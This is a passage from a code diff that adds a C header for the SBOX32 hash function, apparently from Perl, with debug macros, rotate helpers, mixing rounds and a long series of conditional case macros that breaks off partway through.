+#define SBOX32_WARN3(pat,v0,v1,v2)
+#define SBOX32_WARN2(pat,v0,v1)
+#define NOTE3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#else
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3)
+#define SBOX32_WARN3(pat,v0,v1,v2)
+#define NOTE3(pat,v0,v1,v2)
+#define SBOX32_WARN2(pat,v0,v1)
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+#if !defined(U32)
+#include <stdint.h>
+#define U32 uint32_t
+#endif
+
+#if !defined(U8)
+#define U8 unsigned char
+#endif
+
+#if !defined(U16)
+#define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+#endif
+
+#ifndef SBOX32_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define SBOX32_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define SBOX32_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#ifndef ROTL32
+#if defined(_MSC_VER)
+#include <stdlib.h> /* Microsoft put _rotl declaration in here */
+#define ROTL32(x,r) _rotl(x,r)
+#define ROTR32(x,r) _rotr(x,r)
+#else
+/* gcc recognises this code and generates a rotate instruction for CPUs with one */
+#define ROTL32(x,r) (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+#define ROTR32(x,r) (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+#endif
+#endif
+
+#ifndef SBOX32_MAX_LEN
+#define SBOX32_MAX_LEN 256
+#endif
+
+#ifndef SBOX32_STATE_WORDS
+#define SBOX32_STATE_WORDS (1 + (SBOX32_MAX_LEN * 256))
+#define SBOX32_STATE_BYTES (SBOX32_STATE_WORDS * sizeof(U32))
+#define SBOX32_STATE_BITS (SBOX32_STATE_BYTES * 8)
+#endif
+
+#define SBOX32_MIX4(v0,v1,v2,v3,text) STMT_START { \
+ SBOX32_WARN5("v0=%08x v1=%08x v2=%08x v3=%08x - SBOX32_MIX4 %s\n", \
+ (unsigned int)v0, (unsigned int)v1, \
+ (unsigned int)v2, (unsigned int)v3, text); \
+ v0 = ROTL32(v0,13) - v3; \
+ v1 ^= v2; \
+ v3 = ROTL32(v3, 9) + v1; \
+ v2 ^= v0; \
+ v0 = ROTL32(v0,14) ^ v3; \
+ v1 = ROTL32(v1,25) - v2; \
+ v3 ^= v1; \
+ v2 = ROTL32(v2, 4) - v0; \
+} STMT_END
+
+#define SBOX32_MIX3(v0,v1,v2,text) STMT_START { \
+ SBOX32_WARN4("v0=%08x v1=%08x v2=%08x - SBOX32_MIX3 %s\n", \
+ (unsigned int)v0,(unsigned int)v1,(unsigned int)v2, text ); \
+ v0 = ROTL32(v0,16) - v2; \
+ v1 = ROTR32(v1,13) ^ v2; \
+ v2 = ROTL32(v2,17) + v1; \
+ v0 = ROTR32(v0, 2) + v1; \
+ v1 = ROTR32(v1,17) - v0; \
+ v2 = ROTR32(v2, 7) ^ v0; \
+} STMT_END
+
+#if SBOX32_MAX_LEN > 256
+#error "SBOX32_MAX_LEN is set too high!"
+#elif SBOX32_MAX_LEN == 256
+#define case_256_SBOX32(hash,state,key) _SBOX32_CASE(256,hash,state,key)
+#else
+#define case_256_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 255
+#define case_255_SBOX32(hash,state,key) _SBOX32_CASE(255,hash,state,key)
+#else
+#define case_255_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 254
+#define case_254_SBOX32(hash,state,key) _SBOX32_CASE(254,hash,state,key)
+#else
+#define case_254_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 253
+#define case_253_SBOX32(hash,state,key) _SBOX32_CASE(253,hash,state,key)
+#else
+#define case_253_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 252
+#define case_252_SBOX32(hash,state,key) _SBOX32_CASE(252,hash,state,key)
+#else
+#define case_252_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 251
+#define case_251_SBOX32(hash,state,key) _SBOX32_CASE(251,hash,state,key)
+#else
+#define case_251_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 250
+#define case_250_SBOX32(hash,state,key) _SBOX32_CASE(250,hash,state,key)
+#else
+#define case_250_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 249
+#define case_249_SBOX32(hash,state,key) _SBOX32_CASE(249,hash,state,key)
+#else
+#define case_249_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 248
+#define case_248_SBOX32(hash,state,key) _SBOX32_CASE(248,hash,state,key)
+#else
+#define case_248_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 247
+#define case_247_SBOX32(hash,state,key) _SBOX32_CASE(247,hash,state,key)
+#else
+#define case_247_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 246
+#define case_246_SBOX32(hash,state,key) _SBOX32_CASE(246,hash,state,key)
+#else
+#define case_246_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 245
+#define case_245_SBOX32(hash,state,key) _SBOX32_CASE(245,hash,state,key)
+#else
+#define case_245_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 244
+#define case_244_SBOX32(hash,state,key) _SBOX32_CASE(244,hash,state,key)
+#else
+#define case_244_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 243
+#define case_243_SBOX32(hash,state,key) _SBOX32_CASE(243,hash,state,key)
+#else
+#define case_243_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 242
+#define case_242_SBOX32(hash,state,key) _SBOX32_CASE(242,hash,state,key)
+#else
+#define case_242_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 241
+#define case_241_SBOX32(hash,state,key) _SBOX32_CASE(241,hash,state,key)
+#else
+#define case_241_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 240
+#define case_240_SBOX32(hash,state,key) _SBOX32_CASE(240,hash,state,key)
+#else
+#define case_240_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 239
+#define case_239_SBOX32(hash,state,key) _SBOX32_CASE(239,hash,state,key)
+#else
+#define case_239_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 238
+#define case_238_SBOX32(hash,state,key) _SBOX32_CASE(238,hash,state,key)
+#else
+#define case_238_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 237
+#define case_237_SBOX32(hash,state,key) _SBOX32_CASE(237,hash,state,key)
+#else
+#define case_237_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 236
+#define case_236_SBOX32(hash,state,key) _SBOX32_CASE(236,hash,state,key)
+#else
+#define case_236_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 235
+#define case_235_SBOX32(hash,state,key) _SBOX32_CASE(235,hash,state,key)
+#else
+#define case_235_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 234
+#define case_234_SBOX32(hash,state,key) _SBOX32_CASE(234,hash,state,key)
+#else
+#define case_234_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 233
+#define case_233_SBOX32(hash,state,key) _SBOX32_CASE(233,hash,state,key)
+#else
+#define case_233_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 232
+#define case_232_SBOX32(hash,state,key) _SBOX32_CASE(232,hash,state,key)
+#else
+#define case_232_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 231
+#define case_231_SBOX32(hash,state,key) _SBOX32_CASE(231,hash,state,key)
+#else
+#define case_231_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 230
+#define case_230_SBOX32(hash,state,key) _SBOX32_CASE(230,hash,state,key)
+#else
+#define case_230_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 229
+#define case_229_SBOX32(hash,state,key) _SBOX32_CASE(229,hash,state,key)
+#else
+#define case_229_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 228
+#define case_228_SBOX32(hash,state,key) _SBOX32_CASE(228,hash,state,key)
+#else
+#define case_228_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 227
+#define case_227_SBOX32(hash,state,key) _SBOX32_CASE(227,hash,state,key)
+#else
+#define case_227_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 226
+#define case_226_SBOX32(hash,state,key) _SBOX32_CASE(226,hash,state,key)
+#else
+#define case_226_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 225
+#define case_225_SBOX32(hash,state,key) _SBOX32_CASE(225,hash,state,key)
+#else
+#define case_225_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 224
+#define case_224_SBOX32(hash,state,key) _SBOX32_CASE(224,hash,state,key)
+#else
+#define case_224_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 223
+#define case_223_SBOX32(hash,state,key) _SBOX32_CASE(223,hash,state,key)
+#else
+#define case_223_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 222
+#define case_222_SBOX32(hash,state,key) _SBOX32_CASE(222,hash,state,key)
+#else
+#define case_222_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 221
+#define case_221_SBOX32(hash,state,key) _SBOX32_CASE(221,hash,state,key)
+#else
+#define case_221_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 220
+#define case_220_SBOX32(hash,state,key) _SBOX32_CASE(220,hash,state,key)
+#else
+#define case_220_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 219
+#define case_219_SBOX32(hash,state,key) _SBOX32_CASE(219,hash,state,key)
+#else
+#define case_219_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 218
+#define case_218_SBOX32(hash,state,key) _SBOX32_CASE(218,hash,state,key)
+#else
+#define case_218_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 217
+#define case_217_SBOX32(hash,state,key) _SBOX32_CASE(217,hash,state,key)
+#else
+#define case_217_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 216
+#define case_216_SBOX32(hash,state,key) _SBOX32_CASE(216,hash,state,key)
+#else
+#define case_216_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 215
+#define case_215_SBOX32(hash,state,key) _SBOX32_CASE(215,hash,state,key)
+#else
+#define case_215_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 214
+#define case_214_SBOX32(hash,state,key) _SBOX32_CASE(214,hash,state,key)
+#else
+#define case_214_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 213
+#define case_213_SBOX32(hash,state,key) _SBOX32_CASE(213,hash,state,key)
+#else
+#define case_213_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 212
+#define case_212_SBOX32(hash,state,key) _SBOX32_CASE(212,hash,state,key)
+#else
+#define case_212_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 211
+#define case_211_SBOX32(hash,state,key) _SBOX32_CASE(211,hash,state,key)
+#else
+#define case_211_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 210
+#define case_210_SBOX32(hash,state,key) _SBOX32_CASE(210,hash,state,key)
+#else
+#define case_210_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 209
+#define case_209_SBOX32(hash,state,key) _SBOX32_CASE(209,hash,state,key)
+#else
+#define case_209_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 208
+#define case_208_SBOX32(hash,state,key) _SBOX32_CASE(208,hash,state,key)
+#else
+#define case_208_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 207
+#define case_207_SBOX32(hash,state,key) _SBOX32_CASE(207,hash,state,key)
+#else
+#define case_207_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 206
+#define case_206_SBOX32(hash,state,key) _SBOX32_CASE(206,hash,state,key)
+#else
+#define case_206_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 205
+#define case_205_SBOX32(hash,state,key) _SBOX32_CASE(205,hash,state,key)
+#else
+#define case_205_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 204
+#define case_204_SBOX32(hash,state,key) _SBOX32_CASE(204,hash,state,key)
+#else
+#define case_204_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 203
+#define case_203_SBOX32(hash,state,key) _SBOX32_CASE(203,hash,state,key)
+#else
+#define case_203_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 202
+#define case_202_SBOX32(hash,state,key) _SBOX32_CASE(202,hash,state,key)
+#else
+#define case_202_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 201
+#define case_201_SBOX32(hash,state,key) _SBOX32_CASE(201,hash,state,key)
+#else
+#define case_201_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 200
+#define case_200_SBOX32(hash,state,key) _SBOX32_CASE(200,hash,state,key)
+#else
+#define case_200_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 199
+#define case_199_SBOX32(hash,state,key) _SBOX32_CASE(199,hash,state,key)
+#else
+#define case_199_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 198
+#define case_198_SBOX32(hash,state,key) _SBOX32_CASE(198,hash,state,key)
+#else
+#define case_198_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 197
+#define case_197_SBOX32(hash,state,key) _SBOX32_CASE(197,hash,state,key)
+#else
+#define case_197_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 196
+#define case_196_SBOX32(hash,state,key) _SBOX32_CASE(196,hash,state,key)
+#else
+#define case_196_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 195
+#define case_195_SBOX32(hash,state,key) _SBOX32_CASE(195,hash,state,key)
+#else
+#define case_195_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 194
+#define case_194_SBOX32(hash,state,key) _SBOX32_CASE(194,hash,state,key)
+#else
+#define case_194_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 193
+#define case_193_SBOX32(hash,state,key) _SBOX32_CASE(193,hash,state,key)
+#else
+#define case_193_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 192
+#define case_192_SBOX32(hash,state,key) _SBOX32_CASE(192,hash,state,key)
+#else
+#define case_192_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 191
+#define case_191_SBOX32(hash,state,key) _SBOX32_CASE(191,hash,state,key)
+#else
+#define case_191_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 190
+#define case_190_SBOX32(hash,state,key) _SBOX32_CASE(190,hash,state,key)
+#else
+#define case_190_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 189
+#define case_189_SBOX32(hash,state,key) _SBOX32_CASE(189,hash,state,key)
+#else
+#define case_189_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 188
+#define case_188_SBOX32(hash,state,key) _SBOX32_CASE(188,hash,state,key)
+#else
+#define case_188_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 187
+#define case_187_SBOX32(hash,state,key) _SBOX32_CASE(187,hash,state,key)
+#else
+#define case_187_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 186
+#define case_186_SBOX32(hash,state,key) _SBOX32_CASE(186,hash,state,key)
+#else
+#define case_186_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 185
+#define case_185_SBOX32(hash,state,key) _SBOX32_CASE(185,hash,state,key)
+#else
+#define case_185_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 184
+#define case_184_SBOX32(hash,state,key) _SBOX32_CASE(184,hash,state,key)
+#else
+#define case_184_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 183
+#define case_183_SBOX32(hash,state,key) _SBOX32_CASE(183,hash,state,key)
+#else
+#define case_183_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 182
+#define case_182_SBOX32(hash,state,key) _SBOX32_CASE(182,hash,state,key)
+#else
+#define case_182_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 181
+#define case_181_SBOX32(hash,state,key) _SBOX32_CASE(181,hash,state,key)
+#else
+#define case_181_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 180
+#define case_180_SBOX32(hash,state,key) _SBOX32_CASE(180,hash,state,key)
+#else
+#define case_180_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 179
+#define case_179_SBOX32(hash,state,key) _SBOX32_CASE(179,hash,state,key)
+#else
+#define case_179_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 178
+#define case_178_SBOX32(hash,state,key) _SBOX32_CASE(178,hash,state,key)
+#else
+#define case_178_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 177
+#define case_177_SBOX32(hash,state,key) _SBOX32_CASE(177,hash,state,key)
+#else
+#define case_177_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 176
+#define case_176_SBOX32(hash,state,key) _SBOX32_CASE(176,hash,state,key)
+#else
+#define case_176_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 175
+#define case_175_SBOX32(hash,state,key) _SBOX32_CASE(175,hash,state,key)
+#else
+#define case_175_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 174
+#define case_174_SBOX32(hash,state,key) _SBOX32_CASE(174,hash,state,key)
+#else
+#define case_174_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 173
+#define case_173_SBOX32(hash,state,key) _SBOX32_CASE(173,hash,state,key)
+#else
+#define case_173_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 172
+#define case_172_SBOX32(hash,state,key) _SBOX32_CASE(172,hash,state,key)
+#else
+#define case_172_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 171
+#define case_171_SBOX32(hash,state,key) _SBOX32_CASE(171,hash,state,key)
+#else
+#define case_171_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 170
+#define case_170_SBOX32(hash,state,key) _SBOX32_CASE(170,hash,state,key)
+#else
+#define case_170_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 169
+#define case_169_SBOX32(hash,state,key) _SBOX32_CASE(169,hash,state,key)
+#else
+#define case_169_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 168
+#define case_168_SBOX32(hash,state,key) _SBOX32_CASE(168,hash,state,key)
+#else
+#define case_168_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 167
+#define case_167_SBOX32(hash,state,key) _SBOX32_CASE(167,hash,state,key)
+#else
+#define case_167_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 166
+#define case_166_SBOX32(hash,state,key) _SBOX32_CASE(166,hash,state,key)
+#else
+#define case_166_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 165
+#define case_165_SBOX32(hash,state,key) _SBOX32_CASE(165,hash,state,key)
+#else
+#define case_165_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 164
+#define case_164_SBOX32(hash,state,key) _SBOX32_CASE(164,hash,state,key)
+#else
+#define case_164_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 163
+#define case_163_SBOX32(hash,state,key) _SBOX32_CASE(163,hash,state,key)
+#else
+#define case_163_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 162
+#define case_162_SBOX32(hash,state,key) _SBOX32_CASE(162,hash,state,key)
+#else
+#define case_162_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 161
+#define case_161_SBOX32(hash,state,key) _SBOX32_CASE(161,hash,state,key)
+#else
+#define case_161_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 160
+#define case_160_SBOX32(hash,state,key) _SBOX32_CASE(160,hash,state,key)
+#else
+#define case_160_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 159
+#define case_159_SBOX32(hash,state,key) _SBOX32_CASE(159,hash,state,key)
+#else
+#define case_159_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 158
+#define case_158_SBOX32(hash,state,key) _SBOX32_CASE(158,hash,state,key)
+#else
+#define case_158_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 157
+#define case_157_SBOX32(hash,state,key) _SBOX32_CASE(157,hash,state,key)
+#else
+#define case_157_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 156
+#define case_156_SBOX32(hash,state,key) _SBOX32_CASE(156,hash,state,key)
+#else
+#define case_156_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 155
+#define case_155_SBOX32(hash,state,key) _SBOX32_CASE(155,hash,state,key)
+#else
+#define case_155_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 154
+#define case_154_SBOX32(hash,state,key) _SBOX32_CASE(154,hash,state,key)
+#else
+#define case_154_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 153
+#define case_153_SBOX32(hash,state,key) _SBOX32_CASE(153,hash,state,key)
+#else
+#define case_153_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 152
+#define case_152_SBOX32(hash,state,key) _SBOX32_CASE(152,hash,state,key)
+#else
+#define case_152_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 151
+#define case_151_SBOX32(hash,state,key) _SBOX32_CASE(151,hash,state,key)
+#else
+#define case_151_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 150
+#define case_150_SBOX32(hash,state,key) _SBOX32_CASE(150,hash,state,key)
+#else
+#define case_150_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 149
+#define case_149_SBOX32(hash,state,key) _SBOX32_CASE(149,hash,state,key)
+#else
+#define case_149_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 148
+#define case_148_SBOX32(hash,state,key) _SBOX32_CASE(148,hash,state,key)
+#else
+#define case_148_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 147
+#define case_147_SBOX32(hash,state,key) _SBOX32_CASE(147,hash,state,key)
+#else
+#define case_147_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 146
+#define case_146_SBOX32(hash,state,key) _SBOX32_CASE(146,hash,state,key)
+#else
+#define case_146_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 145
+#define case_145_SBOX32(hash,state,key) _SBOX32_CASE(145,hash,state,key)
+#else
+#define case_145_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 144
+#define case_144_SBOX32(hash,state,key) _SBOX32_CASE(144,hash,state,key)
+#else
+#define case_144_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 143
+#define case_143_SBOX32(hash,state,key) _SBOX32_CASE(143,hash,state,key)
+#else
+#define case_143_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 142
+#define case_142_SBOX32(hash,state,key) _SBOX32_CASE(142,hash,state,key)
+#else
+#define case_142_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 141
+#define case_141_SBOX32(hash,state,key) _SBOX32_CASE(141,hash,state,key)
+#else
+#define case_141_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 140
+#define case_140_SBOX32(hash,state,key) _SBOX32_CASE(140,hash,state,key)
+#else
+#define case_140_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 139
+#define case_139_SBOX32(hash,state,key) _SBOX32_CASE(139,hash,state,key)
+#else
+#define case_139_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 138
+#define case_138_SBOX32(hash,state,key) _SBOX32_CASE(138,hash,state,key)
+#else
+#define case_138_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 137
+#define case_137_SBOX32(hash,state,key) _SBOX32_CASE(137,hash,state,key)
+#else
+#define case_137_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 136
+#define case_136_SBOX32(hash,state,key) _SBOX32_CASE(136,hash,state,key)
+#else
+#define case_136_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 135
+#define case_135_SBOX32(hash,state,key) _SBOX32_CASE(135,hash,state,key)
+#else
+#define case_135_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 134
+#define case_134_SBOX32(hash,state,key) _SBOX32_CASE(134,hash,state,key)
+#else
+#define case_134_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 133
+#define case_133_SBOX32(hash,state,key) _SBOX32_CASE(133,hash,state,key)
+#else
+#define case_133_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 132
+#define case_132_SBOX32(hash,state,key) _SBOX32_CASE(132,hash,state,key)
+#else
+#define case_132_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 131
+#define case_131_SBOX32(hash,state,key) _SBOX32_CASE(131,hash,state,key)
+#else
+#define case_131_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 130
+#define case_130_SBOX32(hash,state,key) _SBOX32_CASE(130,hash,state,key)
+#else
+#define case_130_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 129
+#define case_129_SBOX32(hash,state,key) _SBOX32_CASE(129,hash,state,key)
+#else
+#define case_129_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 128
+#define case_128_SBOX32(hash,state,key) _SBOX32_CASE(128,hash,state,key)
+#else
+#define case_128_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 127
+#define case_127_SBOX32(hash,state,key) _SBOX32_CASE(127,hash,state,key)
+#else
+#define case_127_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 126
+#define case_126_SBOX32(hash,state,key) _SBOX32_CASE(126,hash,state,key)
+#else
+#define case_126_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 125
+#define case_125_SBOX32(hash,state,key) _SBOX32_CASE(125,hash,state,key)
+#else
+#define case_125_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 124
+#define case_124_SBOX32(hash,state,key) _SBOX32_CASE(124,hash,state,key)
+#else
+#define case_124_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 123
+#define case_123_SBOX32(hash,state,key) _SBOX32_CASE(123,hash,state,key)
+#else
+#define case_123_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 122
+#define case_122_SBOX32(hash,state,key) _SBOX32_CASE(122,hash,state,key)
+#else
+#define case_122_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 121
+#define case_121_SBOX32(hash,state,key) _SBOX32_CASE(121,hash,state,key)
+#else
+#define case_121_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 120
+#define case_120_SBOX32(hash,state,key) _SBOX32_CASE(120,hash,state,key)
+#else
+#define case_120_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 119
+#define case_119_SBOX32(hash,state,key) _SBOX32_CASE(119,hash,state,key)
+#else
+#define case_119_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 118
+#define case_118_SBOX32(hash,state,key) _SBOX32_CASE(118,hash,state,key)
+#else
+#define case_118_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 117
+#define case_117_SBOX32(hash,state,key) _SBOX32_CASE(117,hash,state,key)
+#else
+#define case_117_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 116
